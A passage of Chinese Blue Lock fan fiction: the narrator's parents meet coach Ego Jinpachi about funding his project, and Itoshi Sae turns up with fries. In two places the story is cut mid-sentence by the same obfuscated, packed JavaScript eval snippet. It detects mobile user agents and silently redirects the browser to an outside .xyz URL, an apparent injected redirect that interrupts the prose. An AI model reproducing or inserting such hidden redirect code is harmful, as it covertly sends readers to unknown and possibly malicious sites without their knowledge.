没过多久,换回常服的两人就出来了。玲王穿着简单的白色T恤和浅色休闲裤,湿漉漉的紫发随意地拨弄过,清爽又帅气,恢复了平日里贵公子的模样,只是眉眼间还残留着比赛胜利后的飞扬神采。凪则套着一件宽大的灰色连帽卫衣,帽子拉起来遮住了半张脸,双手插在兜里,迈着他标志性的、仿佛每一步都耗费巨大能量的步伐,跟在玲王后面。 “走吧!”玲王心情大好。 我们三人慢悠悠地走出球场,沿着绿树成荫的街道向电车站走去。玲王还在兴奋地复盘着比赛中的几个关键点,尤其是他和凪的配合,讲得眉飞色舞。凪偶尔“嗯”一声表示存在,大部分时间都在神游,或者低头看看自己怀里仅剩的两瓶柠檬茶(一瓶已经在路上被他解决了)。 路过一个街角公园时,玲王看到入口处有卖可丽饼的小摊,眼睛一亮。“爱,凪,吃可丽饼吗?我请客!庆祝胜利!” 他兴致勃勃地提议。 凪看了看可丽饼摊,又低头看了看怀里的柠檬茶,慢吞吞地摇头:“……饱了。有柠檬茶。” “你这家伙……”玲王无奈,转头看我,眼神带着期待。 “不了,刚看你吃肉都看饱了。”我笑着婉拒,指了指他。 玲王也不勉强,自己跑去买了一个巧克力香蕉奶油的可丽饼,心满意足地边走边吃。夕阳的金辉给街道镀上了一层温暖的色泽,三个人的影子被拉得长长的。玲王吃着甜点,凪抱着饮料,我走在他们旁边,有一搭没一搭地聊着天。话题从比赛扯到开学后的课业,再到蜂乐回发来的小丸子最新拆家视频……气氛轻松而惬意。这种比赛结束后,和最重要的伙伴一起无所事事地闲逛、分享着微小快乐的感觉,比任何隆重的庆祝都更让人安心。 在通往不同方向的地铁站口,我们挥手告别。玲王要回御影家的宅邸(大概还要应付一下他父亲那份“礼物”的后续),凪则拖着沉重的步伐走向他那间据说堆满了游戏机和零食的公寓。我则踏上了回家的电车。 *** 推开家门,熟悉的饭菜香气混合着一种……嗯,怎么说呢,一种过度兴奋的足球荷尔蒙气息扑面而来。 客厅里,电视屏幕上正定格在某个足球比赛的精彩回放画面。退役的世界第一门将——我的父亲大人,正穿着他那件印着滑稽卡通章鱼的居家T恤,以一个极其放松(或者说极其不雅)的姿势瘫在沙发上,一手拿着遥控器,一手还比划着,嘴里念念有词。 “宝贝女儿!回来啦!”听到开门声,他立刻像装了弹簧一样弹坐起来,金发蓝眼在灯光下闪闪发亮,脸上是那种看到自家猫叼回耗子般的巨大喜悦(当然,我是那只猫,耗子大概是比赛的胜利?),“快!快过来!比赛怎么样?是不是超——级——精——彩?!玲王那小子打电话给我报喜了!激动得不行!我就说嘛!有你和凪在,什么驮驮田驮驮牛,都是小菜一碟!” 他果然知道了。我就说玲王那个憋不住话的家伙,肯定第一时间就向他偶像汇报战绩了。 “嗯,赢了。”我一边换鞋,一边言简意赅地总结,“3:1。玲王传射,凪两个进球。” 走到沙发边坐下,把背包放到一旁。 “干得漂亮!”父亲用力一拍大腿,发出响亮的声音,仿佛赢球的是他自己,“玲王那小子,大局观越来越好了!关键时刻够冷静!还有凪!啧啧,那空间感和球感,真是老天爷追着喂饭吃!那孩子就是太懒了,得有人拿着鞭子在后头抽……哦不,是激励!” 他兴奋地搓着手,金发随着动作一颤一颤,“我就说我的眼光不会错!这两个小子,绝对是未来的栋梁!特别是玲王,有野心,有行动力,跟你老爸我当年一样!哈哈哈!” 看着他这副比自己上场扑出点球还高兴的样子,我忍不住也弯了弯嘴角。虽然有时候觉得他这种过度热情的“足球痴”属性有点烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251817|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,但这份毫无保留地为后辈高兴的纯粹,又让人讨厌不起来。 父亲笑了一阵,像是忽然想起了什么,脸上的兴奋稍微收敛了一点,但眼神依旧亮晶晶的,带着点神秘兮兮的意味,凑近我:“对了,爱,跟你说个事儿。” “嗯?” “我有个老朋友,”他摸着下巴,眼神有点飘忽,似乎在斟酌措辞,“……嗯,以前踢前锋的。那家伙,啧,怎么说呢,脑子……有点异于常人。整天神神叨叨的,满脑子都是些惊世骇俗的理论。不过踢球那会儿,确实是个鬼才,就是太独,太偏激。” 我安静地听着,心里隐约有了点预感。能被父亲用这种“嫌弃又怀念”的语气提起的老朋友,还踢前锋的……范围其实很小。 “他退役之后啊,”父亲继续道,语气带着点无奈又有点好笑,“不知道哪根筋搭错了,跑去竞聘了个职位,嘿,还真让他给当上了——日本足球少年集训的总教练!” 果然。我眉梢微挑。 “结果呢,”父亲摊了摊手,做了个夸张的“完蛋”表情,“这家伙,空有一肚子离经叛道的想法和……呃,勉强算是有点天赋的眼光吧,但是!这不,项目刚启动没多久,预算就快被他那套‘特殊’的训练理念和‘天才发掘计划’给烧穿了!火烧眉毛了才想起我这个老朋友,舔着脸求我过去帮个忙,说是‘技术指导’,其实就是去给他站台、当个‘金字招牌’,顺便看看能不能从那些老狐狸嘴里再抠点经费出来。” 父亲模仿着他老朋友的语气,惟妙惟肖:“‘喂!老家伙,这次算我欠你个人情!以后我的‘蓝色监狱’里出了世界级前锋,第一个介绍给你认识!’” 他模仿完,自己先哈哈大笑起来,“还‘蓝色监狱’?听听这名字!就知道他脑子里没装什么正常东西!” “所以,您答应了?”我问。 “答应了呗!”父亲耸耸肩,一脸“我能怎么办”的表情,“谁让我心软呢?而且,这小子虽然疯,但看人的眼光有时候确实毒。我也挺好奇,他那个神神叨叨的‘监狱’里,到底关了些什么‘怪物’。说不定真能淘到宝呢?” 他蓝眼睛里闪烁着熟悉的、对未知足球天才的探求欲。 “什么时候去?”我问。 “就明天上午!”父亲拍板,“地点在足协大楼,他们那个临时指挥部。正好,你妈明天也没什么事,”他朝厨房的方向努了努嘴,压低声音,“她也一起去。毕竟她是日本人,又是前国脚,对日本足球少年的成长一直挺关心的。有她在场,跟那些官员说话也方便点,你妈那气场,镇得住。” 正说着,母亲端着切好的水果从厨房走了出来。她穿着素雅的居家服,气质温婉,听到父亲的话,只是温和地笑了笑,将果盘放在茶几上:“嗯,一起去看看吧。听听绘心君的想法也好。” 她的语气平静,带着一种包容。 绘心……甚八?那个传说中的“怪胎”前锋?我心里默念着这个在足球圈内毁誉参半的名字。父亲的老朋友,日本足球少年集训的总教练……原来是他。这组合,听起来就充满了不稳定因素。那个所谓的“蓝色监狱”计划,恐怕比父亲描述的还要“惊世骇俗”。 *** 翌日上午。阳光透过高层建筑的玻璃幕墙,在地面投下清晰锐利的光影。日本足协大楼矗立在东京都心的繁华区域,巨大的LOGO透着一种体制内的庄重感。 一辆黑色的高级轿车平稳地停在大楼正门口。司机下车,恭敬地拉开后座车门。 父亲率先下车。他今天难得地穿了件比较正式的休闲西装(没打领带),金发梳理得还算整齐,试图营造一点“前世界巨星兼技术顾问”的派头,但那双过于活跃的蓝眼睛和习惯性想插口袋的动作,还是暴露了他骨子里的不羁。母亲随后下车,她穿着一套剪裁得体的米白色套装,气质沉静优雅,自带一股不怒自威的气场。我则跟在最后,简单的衬衫长裤,纯粹是来当个安静的观察员。 我们刚踏上足协大楼门前的台阶,旋转玻璃门就被人从里面用力推开。 一个身影急匆匆地走了出来,手里还抱着一叠厚厚的文件,低着头似乎在核对什么。她穿着合体的深蓝色职业套裙,褐红色的及肩短发打理得一丝不苟,脚下踩着一双黑色的尖头中跟鞋,步履生风,带着一股干练利落的气势。 就在她抬头准备继续疾走的瞬间,目光恰好与我们三人撞了个正着! 时间仿佛在这一刻凝固了那么零点一秒。 帝襟安里?! 我微微一愣,完全没想到会在这里、以这种方式再次见到她。昨天球场上那个激动得抓住我手臂、眼睛发亮的狂热球迷形象还历历在目,而此刻站在足协大楼前、一身职业套装、怀抱文件的她,俨然是一位精明强干的职场精英。只有那双标志性的、如同枫糖融化的褐红色眼眸,在最初的惊愕过后,瞬间迸发出了比昨天在球场时更加明亮、更加难以置信的光芒! 她的视线飞快地扫过我的父亲——那头耀眼的金发和辨识度极高的混血面容,以及那份属于顶级运动员的、即便穿着西装也掩盖不住的气场;再落到我母亲身上——那份沉静雍容的气度和属于传奇球员的无形光环。最后,她的目光定格在我脸上,褐红色的瞳孔因为巨大的震惊和一种“世界真小”的狂喜而微微收缩。 “清、清田小姐?!”帝襟安里几乎是失声叫了出来,那份职业化的干练面具瞬间碎裂,取而代之的是纯粹的惊喜和激动。她抱着文件的手下意识地收紧,快步迎了上来,目光在我们三人之间来回逡巡,最终带着无比的恭敬和一丝不易察觉的紧张,深深地向我的父母鞠躬。 “清田先生!清田夫人!非常荣幸能在这里见到您们!”她的声音带着明显的激动,抬起头时,脸颊因为兴奋而微微泛红,褐红色的眼眸亮得惊人,看向我母亲时,那份崇拜几乎要满溢出来,“夫人!我是帝襟安里!您最忠实的球迷!昨天在球场还遇到了清田小姐,没想到今天……” 她的话语戛然而止,像是突然意识到了什么,目光再次扫过父亲,又看向足协大楼,一个不可思议的念头在她眼中迅速成型,让她整个人都因为某种巨大的期待而微微颤抖起来。她深吸一口气,努力平复着过于激动的心情,重新看向我们,脸上露出了一个混合着极度惊喜和恍然大悟的、无比灿烂的笑容: “您们……是来见绘心总教练的吗?请随我来!绘心先生他……已经在会议室恭候多时了!” 18. 投资 我的记忆告诉我,面前这个又瘦又高、看起来能被风吹走的蘑菇头就是父亲口中所谓的前职业足球运动员绘心甚八。 他整个人陷在宽大的办公椅里,几乎被堆积如山的资料、显示屏和各种我看不懂的复杂图表淹没。一身皱巴巴的深色运动服,过长的黑色刘海几乎遮住了半幅巨大的黑框眼镜,露出的下半张脸线条瘦削,唇色很淡,没什么表情。镜片后的黑瞳隔着镜片扫过来,带着一种近乎无机质的审视感,冷静得甚至有些漠然,和父亲之前转述时那种“神神叨叨”、“满脑子离经叛道想法”的夸张描述相去甚远。 他手里端着一个印着“Blue Lock”字样的马克杯,杯口冒着稀薄的热气。父亲正唾沫横飞地讲述着他当年和绘心在场上那点“不打不相识”的往事,试图拉近关系,但绘心只是安静地听着,偶尔抿一口杯中物——从气味判断,大概是某种速溶咖啡——眼神都没多给一个。 “……所以啊,绘心,你这家伙,当年那股子谁都看不上的劲儿,现在倒是一点没变!”父亲用力一拍桌子,试图把对方从那种疏离的状态里拍出来。 绘心甚八终于抬眼,透过厚厚的镜片看向父亲,声音平稳得像一条直线,没有任何起伏:“叙旧到此为止吧,清田。时间宝贵。”他放下杯子,双手交叉放在桌面上,黑瞳锁定了父亲,语气平静却带着一种不容置疑的笃定,“‘蓝色监狱’的目标很明确:在这个设施里,诞生出世界第一的前锋。为此,我们需要最极端的环境,最残酷的筛选,和最顶尖的资源投入。你作为曾经站在世界顶点的门将,你的经验,你的视角,你对‘威胁’的直觉判断,对这个计划而言,是不可或缺的‘养料’之一。我希望你能助我们一臂之力。” 他的话语直白得近乎冷酷,仿佛在陈述一个冰冷的公式。没有寒暄,没有客套,单刀直入地宣告目标,然后提出要求。这效率,确实有点“异于常人”。 父亲显然被这过于直接的“求助”噎了一下,他眨巴着蓝眼睛,似乎想说什么反驳的话,但绘心没给他机会。 “关于项目的具体架构、选拔机制、训练模型以及目前遇到的瓶颈和资金缺口……”绘心顺手拿起桌上一份厚得能当凶器的企划书,准备开始他的长篇大论。 “停停停!”父亲立刻像被踩了尾巴的猫一样跳起来,双手交叉在胸前做了个大大的“X”,“别给我看这个!你知道我看到数字和计划书就头疼!比当年研究对手的点球习惯还头疼!什么架构瓶颈资金缺口的,你跟我说没用!” 他大手一挥,果断地把皮球踢了出去,指向坐在一旁沙发上,正微笑着倾听帝襟安里激动讲述着什么的我母亲,“投资!拉赞助!这些你得找她!清田美纪女士!我们家的财务大总管兼商业谈判专家!她才是能决定要不要往你这‘蓝色监狱’里扔金砖的人!” 我这才恍然大悟。原来父亲口中“帮忙站台”、“当金字招牌”的核心目的,是让母亲来评估这个项目是否值得投资!绘心甚八这哪里是单纯请技术指导,分明是看中了父亲这块招牌背后所代表的——我母亲的眼力和社会影响力!这个蘑菇头,心思深得很! 而且,他们两个不像第一次见面。 果然,绘心甚八的目光极其自然地转向了母亲。那冷静的黑瞳里,似乎掠过一丝极其精明的计算光芒,但语气依旧没什么波澜:“清田夫人,久仰。您的商业眼光和魄力,以及对日本足球青训事业的关注,早有耳闻。‘蓝色监狱’虽然理念激进,但目标明确,潜力巨大。我们需要的不仅仅是资金,更是像您这样具备远见卓识的战略合作伙伴。这份企划书……” 母亲抬手,优雅地制止了他递过来的动作,脸上带着温和却不容置疑的微笑:“企划书我会看的,绘心先生。安里小姐刚才也向我介绍了一些项目的初衷和愿景,很有……冲击力。”她的目光扫过帝襟安里,后者正捧着一个印有母亲当年国家队号码和签名的珍藏版卡片,激动得满脸通红,褐红色的眼睛里全是粉红色的星星,整个人都像是在冒幸福的泡泡,听到母亲提到她,更是用力点头,像小鸡啄米。 “夫人!我一定会好好珍藏的!它是我最宝贵的财富!”帝襟安里双手捧着卡片,声音都在发颤,那份狂热球迷的属性在此刻暴露无遗。 母亲显然很吃这一套,对真心喜爱自己的人向来温和包容。她微笑着对帝襟安里点点头:“是你的真诚和热情打动了我,安里小姐。能遇到真正热爱足球、并愿意为之付出行动的人,是件令人愉快的事。” 看到这里,我心中已然明了。帝襟安里这个超级粉丝的“助攻”效果拔群,加上绘心甚八那看似冷漠实则目标精准的“推销”,以及项目本身可能具备的吸引力……这个投资,十有八九是谈妥了。后续无非是金额和条款的问题,那是母亲的专业领域,不需要我们旁听细节。 就在这时,父亲忽然从椅子上弹了起来,动作幅度大得差点带倒椅子。他夸张地揉了揉肚子,脸上露出一种“突然想起大事”的表情:“哎呀!光顾着说话,都这个点了!肚子都开始抗议了!不行不行,饿着肚子可没法好好思考!你们聊着,我去买点吃的回来!我请客!想吃什么?尽管说!” 他蓝眼睛里闪烁着一种“终于可以逃离枯燥会议”的兴奋光芒,像个找到借口出去玩的大孩子。 帝襟安里还沉浸在获得偶像签名的巨大幸福中,闻言连忙摆手,带着职业性的客套:“啊,不用麻烦的清田先生!我们不饿……” “杯面。”绘心甚八的声音毫无预兆地响起,平板无波,眼睛甚至都没离开他面前亮着的某个屏幕,“海鲜味。谢谢。” 他倒是毫不客气,点单简洁明了,仿佛只是下达一个指令。 父亲被噎了一下,显然没想到这位总教练如此“实在”。他看向母亲。 母亲轻轻拍了拍旁边还有些不好意思的帝襟安里的手背,笑容温和而鼓励:“安里小姐也一起吃点吧?别客气。附近似乎有家不错的中华料理店?” 在母亲的鼓励下,帝襟安里的客套瞬间瓦解,褐红色的眼睛亮了起来,带着点小期待:“那……那麻烦您了!如果可以的话……附近那家‘陈记’的麻辣豆腐饭!听说超——级好吃!” 她说到“超级”时还下意识地握了握拳,露出一点属于年轻女孩的活泼本性。 “好嘞!麻辣豆腐饭一份!海鲜杯面一个!”父亲记下,然后目光转向我,“爱,你呢?想吃什么?老爸给你买!” 我摇摇头,刚结束的比赛和会议室略显沉闷的空气让我没什么胃口:“不用了,我不饿。” “那怎么行!”父亲大手一挥,不容置疑,“正是长身体的时候!等着!老爸给你带点好吃的回来!小孩子嘛,肯定爱吃那个!” 他朝我眨眨眼,露出一副“我懂你”的神秘笑容,然后不等我再次拒绝,就像一阵风似的刮出了会议室,留下门板还在微微晃动。 “……” 我无奈地看着紧闭的门。小孩子?肯○基?拜托,我都十六岁了!而且我对油炸食品真的……兴趣不大。但父亲显然沉浸在他“好爸爸投喂女儿”的自我感动剧本里了。 会议室里短暂地安静下来。母亲重新拿起绘心之前试图递过来的企划书,开始专注地翻阅,偶尔低声和帝襟安里交流几句专业术语。帝襟安里则迅速切换回专业助理模式,在一旁低声解释着图表和数据,但眼角眉梢依旧残留着兴奋的粉色。绘心甚八则完全沉浸在他的屏幕世界里,手指在键盘上快速敲击,发出清脆的嗒嗒声,仿佛刚才点餐和拉投资的人不是他。 我坐在母亲旁边的沙发上,百无聊赖地翻看着手机里蜂乐回发来的、小丸子追着自己尾巴转圈晕头转向的视频,试图忽略胃里那点因为父亲“小孩子都爱吃”的宣言而产生的微妙抗拒感。 时间一分一秒过去。就在我快被小丸子那傻乎乎的样子逗笑时,一个没什么温度的声音突兀地响起,打破了键盘声和低语声构成的背景音。 “你踢球吗?” 我抬起头。绘心甚八不知何时停下了敲击键盘的动作,那双藏在厚重镜片后的黑瞳正越过屏幕上方,直直地看向我。他的目光平静无波,带着纯粹的审视,像是在观察一个实验样本。 这问题来得太突然,也太……不合时宜。在这样一个讨论着“诞生世界第一前锋”的疯狂计划的核心会议室里,他问一个自称经理、明显不在计划内的女生“踢不踢球”? 我迎上他的目光,摇了摇头,回答得同样简洁:“不踢。” 绘心甚八的视线在我脸上停留了两秒,那目光似乎穿透了皮囊,带着一种近乎X光般的解析感。然后,他极其轻微地点了下头,只吐出了两个字: “是么。” 没有追问,没有评价,甚至连一丝好奇的情绪都没有。仿佛只是确认了一个无关紧要的事实。说完,他便重新低下头,将注意力完全收回到屏幕上,再次投入到他的数据海洋中,仿佛刚才那短暂的对话从未发生过。留下我独自面对那两个字带来的、微妙的空旷感。是么……就这样?他到底想确认什么? 会议室再次恢复了之前的节奏。母亲和帝襟安里的讨论声,绘心敲击键盘的嗒嗒声。但我的思绪却因为那简短的两个字而有些飘忽。诺亚在拜仁基地那句“有天赋影子但浪费”的评价,父亲偶尔看着我颠球时欲言又止的表情,还有此刻绘心甚八这没头没脑的确认……像几颗散落的珠子,暂时还串不成线,却隐隐约约地硌在那里。 不知过了多久,会议室的门被再次用力推开,力道之大,带进一股食物的香气和外面走廊的喧嚣。 “我回来啦!”父亲洪亮的声音率先响起,带着满载而归的兴奋。他手里拎着好几个袋子,食物的香味瞬间弥漫开来。他脸上洋溢着一种比出去时更加兴高采烈的笑容,蓝眼睛里闪烁着一种……嗯,像是发现了什么稀世珍宝迫不及待要分享的光芒。 我的神经瞬间绷紧。每次父亲露出这种表情,通常都意味着……麻烦来了。 果然! 父亲侧身让开门口,几乎是半推半请地将一个人让了进来,语气热情洋溢得能融化冰川:“来来来,快进来!真是巧得不能再巧了!我刚走到楼下大厅,就碰到这位!你们猜是谁?!” 一个身影随着父亲的话语走了进来。 来人很高,身形挺拔而修长,穿着剪裁合体的休闲西装,气质沉静,带着一种与年龄不符的成熟感。最引人注目的是他的发色——一种极其独特的、如同成熟红豆般浓郁深邃的豆沙红,发丝打理得一丝不苟。他的皮肤很白,五官轮廓分明,尤其引人注目的是那双眼睛——如同打磨过的松石绿,深邃、冷静,仿佛蕴藏着极地的寒潭,眼睫在下眼睑投下淡淡的阴影,增添了几分难以接近的疏离感。 他手里……还提着一个印着醒目“M”标志的纸袋,里面散发出浓郁的、刚炸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251818|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的薯条香气。那袋子,一看风格就知道,绝对是父亲的手笔——临时起意、热情过度、完全不顾对方是否需要。 我的瞳孔猛地一缩。 糸师冴! 那个在西班牙REAL俱乐部踢球,被卢纳轻佻地提及已从前锋位置改踢中场的“日本至宝”!那个名字在西班牙足球圈都掷地有声的天才!他怎么会在这里?而且……还提着我父亲送的薯条?! 糸师冴的目光平静地扫过会议室内的众人,在母亲身上微微停留,点头致意:“清田夫人。” 声音清冽,如同玉石相击。他的视线掠过绘心甚八和帝襟安里,最后落在我身上,松石绿的眼底没有任何波澜,只是极其轻微地颔首,算是打过招呼。那份超越年龄的沉稳和仿佛与生俱来的清冷气场,瞬间让整个会议室都安静了几分。 父亲则完全没察觉,或者根本不在意这微妙的气氛,他像个献宝的孩子,一手举着给帝襟安里的麻辣豆腐饭打包盒,一手拿着绘心要的海鲜杯面,兴奋地对我们介绍,声音洪亮得能震碎玻璃: “看看!看看我遇到谁了!糸师冴!咱们日本足球的未来之星!REAL的明日核心!我刚在一楼大厅遇见他,好像是来足协办点事?这不就是缘分嘛!正好!来来来,冴,别客气!一起吃!刚买的薯条,还热乎着呢!” 他说着,还热情地拍了拍糸师冴的肩膀,后者只是微微侧身,避开了过于亲密的接触,脸上依旧没什么表情,只是将那袋散发着罪恶香气的薯条放在了会议桌空着的一角。 帝襟安里已经完全呆住了,手里的筷子差点掉下来,眼睛在糸师冴、父亲和那袋薯条之间来回切换,嘴巴微张,显然被这突如其来的“加餐”和重量级人物的出现震得大脑宕机。绘心甚八也终于从他的数据世界里抬起了头,厚厚的镜片后,那双黑瞳第一次清晰地聚焦在糸师冴身上,锐利的光芒一闪而逝,像是嗅到了顶级猎物的气息。 母亲则是唯一保持常态的人,她放下手中的企划书,对糸师冴露出一个温和得体的微笑:“冴君,好久不见。没想到会在这里遇到你。” 语气熟稔,显然之前就认识。 糸师冴再次微微颔首,语气依旧平淡:“清田夫人,您好。确实很巧。” 他的目光扫过绘心甚八,松石绿的眼底似乎掠过一丝极淡的疑惑。 我的目光则死死黏在糸师冴脸上,更准确地说,是黏在他那浓密得惊人的下睫毛上。卢纳在西班牙酒店里那带着调侃的轻佻话语瞬间在耳边回响——“REAL的日本球员糸师冴已改踢中场”…… 以及父亲当时看似调侃实则意味深长的解围——“球场足够大,找到发光点才是关键”。 眼前这个活生生的“日本至宝”,这个被父亲强行塞了一袋薯条、气场却冷得能冻住空气的少年天才,就站在“蓝色监狱”这个号称要打造“世界第一前锋”的疯狂计划的指挥部里。这巧合,未免也太戏剧性了!父亲这“足球雷达”和“捡人”体质,简直是行走的麻烦制造机! 而绘心甚八镜片后的目光,在糸师冴身上停留的时间,明显比刚才看我要长得多,也深沉得多。那里面翻涌的,是毫不掩饰的、如同发现绝世璞玉般的狂热探究欲。整个会议室的气氛,因为这意外来客的降临,瞬间变得微妙而暗流汹涌。薯条的香气混合着文件油墨味和绘心速溶咖啡的廉价气息,古怪地弥漫在空气中。 父亲还在热情地张罗着分发食物,似乎完全没意识到自己带回了怎样一颗“炸弹”。他把麻辣豆腐饭递给依旧处于震惊状态的帝襟安里,又把杯面推到绘心甚八面前,最后拿起那个印着肯○基爷爷笑脸、鼓鼓囊囊的纸袋,脸上堆起一个“慈父”牌笑容,径直朝我走来。 “来来来,爱!看看老爸给你带了什么好东西!”他献宝似的把纸袋塞到我手里,带着炸鸡和薯条特有的、油腻又霸道的香气扑面而来,“小孩子都爱吃的肯○基!新出的什么……熔岩芝士鸡腿堡?还有辣翅和薯条!趁热吃!不够老爸再去买!” 我看着手里沉甸甸的、象征着“父爱如山(且如山体滑坡)”的纸袋,再看看会议桌那头,糸师冴带来的、同样散发着薯条香气的“M”记袋子,只觉得一阵荒谬感涌上心头。这算什么?跨国快餐连锁在足协会议室的世纪会晤?还是父亲“投喂天赋异禀者”行为的跨国认证? 绘心甚八已经撕开了他的海鲜杯面包装,倒入热水,动作机械而高效。升腾的热气模糊了他厚重的镜片,却挡不住他再次投向糸师冴的、如同锁定猎物般的目光。糸师冴则仿佛置身事外,松石绿的眸子淡淡地扫过会议室墙上挂着的“蓝色监狱”概念图,又落回父亲身上,似乎在等待这位热情过度的前辈说明把他“请”进来的真正意图。 帝襟安里终于从石化中恢复了一点,她小心翼翼地打开自己的麻辣豆腐饭,浓烈的花椒和豆瓣酱香气散开,试图冲淡空气中那两股薯条势力对峙的诡异感。她偷瞄着糸师冴,眼神里复杂地交织着各式各样的情绪。 母亲优雅地端起茶杯,轻轻吹了口气,目光在糸师冴和绘心甚八之间不着痕迹地流转,似乎在评估着这突如其来的变量。 而我,抱着那袋滚烫的、散发着卡路里香气的肯○基,感受着父亲充满期待的目光,再对上糸师冴那双平静无波、仿佛看透一切的松石绿眼眸……只觉得额角的神经开始突突直跳。 这顿由父亲心血来潮发起的“工作餐”,恐怕是没法安生地吃完了。 19. 吃吃吃 我的生活貌似变成了足球青少年聚集地。 这念头像一颗投入平静湖面的石子,在心底漾开一圈圈荒诞的涟漪。我看着眼前这间充斥着文件油墨味、廉价速溶咖啡气息,以及……炸鸡薯条混合香气的足协会议室,只觉得现实比任何虚构的漫画都要离奇。 他们都开始吃起来了。绘心甚八捧着那杯廉价的、冒着热气的海鲜味杯面,吸溜得面无表情,仿佛在进行某种维持机体运转的必要程序。帝襟安里则小心翼翼地扒拉着她的麻辣豆腐饭,浓烈的花椒香气混合着她身上残留的、因获得母亲签名卡片而散发出的幸福粉红泡泡,构成一种奇异的氛围。母亲姿态优雅地小口啜饮着清茶,目光沉静地扫过绘心那份厚厚的企划书。父亲则已经迫不及待地撕开了他给自己买的炸鸡桶包装,浓郁的油脂香气霸道地攻城略地。 唯有糸师冴。他还坐在那里,松石绿的眼睛低垂,长长的下睫毛在白皙的皮肤上投下淡淡的阴影,视线凝固在面前那袋印着巨大“M”标志、散发着罪恶诱惑的薯条上。那眼神,与其说是抗拒,不如说是在进行一场极其精密、关乎职业生涯自律性的风险评估。他微微蹙着眉,薄唇抿成一条平直的线,手指无意识地在膝盖上轻轻敲击着,仿佛在计算每一根薯条可能带来的卡路里和潜在风险。这过分认真的样子,与他那超越年龄的沉稳气场和“日本至宝”的名号形成了一种……意外的反差,透露出一点不符合外貌的呆萌属性。 “冴君,吃吧。”母亲温和的声音打破了这微妙的僵持。她放下茶杯,笑容可掬,带着一种安抚人心的力量,对糸师冴示意了一下桌上的薯条,“偶尔一点点,不碍事的。职业球员也是人,放松一下神经反而有益。”她顿了顿,语气带着点过来人的调侃,“我知道不少在役的球星,私下里抽烟喝酒一样不落,现在不也还在场上生龙活虎地踢着么?自律很重要,但也不必把自己绷成一根随时会断的弦。” 糸师冴闻声抬眼,松石绿的眸子看向母亲,那里面似乎有冰层微微化开的迹象。他沉默了几秒,似乎在咀嚼母亲话语中的分量。然后,极其轻微地“嗯”了一声。这声回应短促而轻,却像是一个开关被按下了。 然而,他并没有立刻动手。那双漂亮的眼睛又转向了薯条袋子,然后……转向了我。 “请问,”他的声音清冽依旧,但语速比刚才快了一丝丝,带着点不易察觉的……别扭?“有没有……一次性手套?” 没有多余的解释,没有“因为不想弄脏手”之类的说明。但我就是瞬间明白了——这家伙,有洁癖!至少是不喜欢油腻食物沾到手指的精致讲究! 我下意识地看向自己怀里那个同样滚烫、散发着类似罪恶香气的肯○基纸袋。父亲那“小孩子都爱吃”的宣言还在耳边回荡。我叹了口气,认命地伸手进去摸索。果然,在炸鸡盒和汉堡包的夹缝里,摸到了几副塑料的一次性手套。我抽出一副全新的、没有沾上油渍的,隔着会议桌递了过去。 “给。” 糸师冴的目光落在我递过去的手套上,松石绿的眼底似乎闪过一丝极淡的……满意?他伸出修长干净的手指,接了过去,动作利落地拆开包装,将那层薄薄的塑料薄膜仔细套在手上。整个过程行云流水,带着一种近乎仪式感的郑重。仿佛戴上这层防护,那袋薯条就从“垃圾食品”降格成了某种可以入口的、带点实验性质的能量补充剂。 他这才终于拿起一根薯条,动作依旧带着那份超越年龄的优雅与克制,小心地送入口中。咀嚼的动作很慢,像是在细细品味,又像是在评估其成分对身体的潜在影响。那副过分认真的样子,让坐在他对面、正大口撕咬着炸鸡腿的父亲看得直乐。 “噗……冴君,吃个薯条而已,怎么跟做化学实验似的?”父亲满嘴油光,含糊不清地笑道。 糸师冴只是抬眼淡淡瞥了父亲一下,没说话,继续他精密严谨的“薯条摄入工程”。 于是,整个会议室里,只剩下各种食物被咀嚼、吞咽、吸溜的声音交织在一起,形成一种奇特的、充满生活气息却又无比诡异的背景音。绘心甚八的杯面、帝襟安里的麻辣豆腐饭、父亲的炸鸡桶、糸师冴的薯条、以及我被迫捧着的肯○基……食物的香气混合着文件的气息和速溶咖啡的味道,在空调房里盘旋发酵。没有人开口说话,只有键盘偶尔被绘心敲击的嗒嗒声,以及父亲满足的咀嚼声格外清晰。这种沉默并非尴尬,更像是一种……各自沉浸在自己世界里的、短暂的休憩与补充。玲王和凪在球场上奋力拼杀后的疲惫感似乎也悄然袭来,让我对着怀里的炸鸡桶也少了几分抗拒。 然而,这份因食物而短暂维持的、脆弱的平静,被一阵突兀响起的手机铃声无情打破。 铃声是那种最原始的、单调的电子音,尖锐而急促,在一片咀嚼声中显得格外刺耳。 声音的来源是糸师冴放在桌面上的手机。屏幕亮起,显示着一个没有存储姓名的号码,但看糸师冴瞬间微凝的表情,显然知道来电者是谁。 他放下刚拿起的一根薯条——动作依旧带着那份令人叹为观止的精准,确保薯条没有掉落在桌面上——用戴着塑料手套的手指,略显笨拙地划开了接听键,将手机贴到耳边。 “Moshi Moshi(喂)。” 他的声音恢复了惯常的清冷平稳,听不出丝毫情绪。 电话那头的声音似乎很大,即使没有开免提,我也能隐约听到一个男声语速极快、带着明显的焦虑和……责备?用的是日语,但口音有些生硬。 糸师冴安静地听着,松石绿的眸子没什么焦点地望着会议桌的某处,偶尔才极其简短地回应一两个音节:“Hai(是)…… Iie(不)…… Soko(那里)……” 